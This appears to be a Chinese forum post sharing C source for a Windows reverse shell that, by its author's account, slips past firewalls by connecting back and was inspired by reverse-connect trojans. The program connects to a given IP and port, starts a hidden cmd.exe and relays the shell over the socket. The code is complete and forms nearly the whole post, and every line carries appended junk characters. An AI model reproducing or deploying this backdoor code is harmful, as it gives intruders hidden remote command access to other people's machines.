这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f8`dJ5i
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/* ============================== NFKvgd@
Rebound port in Windows NT ;47z.i&T
By wind,2006/7 sx}S,aIU
===============================*/ !&NrbiuN
#include `uH7~ r^
#include euVj,m
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#pragma comment(lib,"wsock32.lib") iq[IZdza
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void OutputShell(); d325Cw?
SOCKET sClient; vm'Z A7f6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CPMGsW^
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void main(int argc,char **argv) 9y<h.T
{ -4zV
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WSADATA stWsaData; L"n)fe$
int nRet; 6U.|0mG[
SOCKADDR_IN stSaiClient,stSaiServer; &/WE{W
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if(argc != 3) L(sT/
{ ;{q*
printf("Useage:\n\rRebound DestIP DestPort\n"); PB?2{Cj
return; c&FOt
} !a-B=pn!]
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WSAStartup(MAKEWORD(2,2),&stWsaData); #sDb611}#
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v(!:HK0oeT
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stSaiClient.sin_family = AF_INET; B?- poB&
stSaiClient.sin_port = htons(0); -
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9 <{C9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k~ByICE
{ Dad$_%
printf("Bind Socket Failed!\n"); 0;=-x"
return; o. ;Vrc
} ^_<|~
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stSaiServer.sin_family = AF_INET; RAP-vVh/C
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CxZh^V8LP
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l`i97P?/W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2E[7RBFY+\
{ I[d<SHo
printf("Connect Error!"); $LFL4Q
return; %yu =,J j
} $Ery&rX.
OutputShell(); ovBmo2W/
} xLDD;Qm,
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void OutputShell() tiHR&v
{ m!ueqV"
char szBuff[1024]; upL3M`
SECURITY_ATTRIBUTES stSecurityAttributes; I
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OSVERSIONINFO stOsversionInfo; G3%Ju=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _]pu"hZz4
STARTUPINFO stStartupInfo; P(TBFu
char *szShell; \6JOBR
PROCESS_INFORMATION stProcessInformation; -!:5jfT"
unsigned long lBytesRead; #mA(x@:*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AyOibnoZ2E
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1{
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stSecurityAttributes.lpSecurityDescriptor = 0; qS FtQ4
stSecurityAttributes.bInheritHandle = TRUE; jWv'`c
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VL$
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @qq"X'3t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wi'}d6c
stStartupInfo.wShowWindow = SW_HIDE; HOF$(86zqA
stStartupInfo.hStdInput = hReadPipe; X["xC3 i
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G+t:]\
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GetVersionEx(&stOsversionInfo); U/QgO
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switch(stOsversionInfo.dwPlatformId) rUj\F9*5#
{ a[(OeVQ5
case 1: G~YZ(+V%~
szShell = "command.com"; voRry6Q;
break; )J}v.8
default: U5OX.0
szShell = "cmd.exe"; pUb1#=
break; ^hmV?a:Y
} U`mX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0f.jW O
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send(sClient,szMsg,77,0); q!eE~O;A
while(1) aQtd6L+ J
{ @wI>0B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ExS5RV@v'
if(lBytesRead) kz7FQE
{ VTM* 1uXS>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :aej.>I0
send(sClient,szBuff,lBytesRead,0); -}|L<~
} KBmO i
else %
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{ O
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lBytesRead=recv(sClient,szBuff,1024,0); EIg~^xK
if(lBytesRead<=0) break; 'Oue 1[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3I_^F&T
} gHrs|6q9
} ^H3N1eC,`F
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return; qTr P@F4`g
}